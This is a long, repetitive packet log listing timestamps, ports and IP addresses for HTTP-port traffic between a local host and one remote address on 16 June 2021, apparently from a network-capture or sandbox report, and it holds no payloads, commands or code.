Jun 16, 2021 12:05:58.226401091 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.226402044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226412058 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.226427078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226448059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.226464033 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.226466894 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.268881083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.268910885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.268943071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.268968105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.268992901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.268997908 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.269011974 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.269016981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269042969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269066095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269090891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269103050 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.269114971 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269138098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269162893 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269217014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269239902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269263983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269288063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269301891 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.269304991 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.269311905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269335985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269360065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269383907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269407988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269432068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269455910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269467115 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.269469976 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.269479036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269503117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.269526958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270134926 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.270179033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270195961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270230055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270255089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270278931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270303011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270324945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.270328045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270351887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270376921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270401001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270411015 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.270415068 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.270426035 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270451069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270478010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.270503044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271074057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271091938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271126986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271151066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271171093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271186113 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.271192074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271192074 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.271213055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271234035 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271254063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271269083 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.271271944 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.271274090 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271295071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271315098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271334887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271858931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271877050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271905899 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271917105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.271922112 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.271930933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271956921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.271981001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272005081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272030115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272042036 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.272046089 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.272053957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272082090 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272102118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272125006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272135019 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.272139072 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.272146940 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272167921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272186995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272208929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272777081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272794962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272818089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272842884 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272867918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272871971 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.272876978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.272891998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272917032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272941113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272964954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272989035 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.272996902 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.273000956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.273013115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273037910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273061991 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273087025 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273112059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273135900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273169994 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.273174047 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.273689985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273710966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273734093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273756027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273778915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273799896 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273821115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273833036 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.273837090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.273843050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273864985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273888111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273907900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273927927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273947954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273958921 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.273962021 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.273967981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.273988962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274013042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274647951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274666071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274692059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274703026 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.274707079 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.274713993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274738073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274760008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274770975 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.274774075 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.274781942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274805069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274825096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274844885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274866104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274887085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274909973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274919987 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.274923086 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.274930000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274950981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.274971008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275619030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275643110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275665998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275687933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275711060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275711060 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.275717020 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.275733948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275755882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275778055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275798082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275819063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275840998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275851965 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.275855064 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.275862932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275883913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275907040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275929928 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275950909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.275985956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.275990009 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.276472092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276494980 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276516914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276541948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276562929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276585102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276607037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276628971 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276643038 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.276648998 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.276649952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276670933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276685953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276714087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276738882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276762962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276787043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.276797056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.276802063 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.276810884 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.283451080 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.311703920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311732054 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311743021 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311768055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311784029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311813116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311830997 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.311839104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311846972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.311860085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311883926 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.311903000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.316085100 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.316131115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.316407919 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.358483076 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.358772993 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:59.930252075 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:59.974309921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.304318905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.304366112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.304389000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.304413080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.304434061 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.304455996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.304469109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.304471970 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.305553913 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.519148111 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.814800978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.814847946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.814871073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.814892054 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.814896107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.814924002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.814925909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.814949989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.814970016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.814980030 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.814991951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815011978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815035105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815035105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815057993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815064907 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815078974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815099955 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815109968 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815140009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815165043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815175056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815186977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815208912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815218925 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815231085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815251112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815262079 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815273046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815294981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815301895 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815310001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815335989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815342903 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815357924 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815373898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815391064 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815645933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815668106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815691948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815692902 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815712929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815725088 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815740108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815766096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815773010 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815788031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815809965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815819025 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815830946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815851927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815861940 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815875053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815886021 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815897942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815921068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815927982 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815946102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815972090 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.815977097 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.815998077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816026926 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816282034 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816592932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816617966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816642046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816653013 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816663027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816684961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816696882 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816705942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816726923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816735029 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816747904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816770077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816777945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816790104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816811085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816819906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816833019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816853046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816862106 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816874981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816895008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816905975 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.816916943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.816946983 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.817555904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817579031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817610979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817620993 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.817636013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817662001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817668915 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.817687988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817712069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817719936 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.817739010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817764044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817770958 CEST	49170	80	192.168.2.22	172.67.158.27
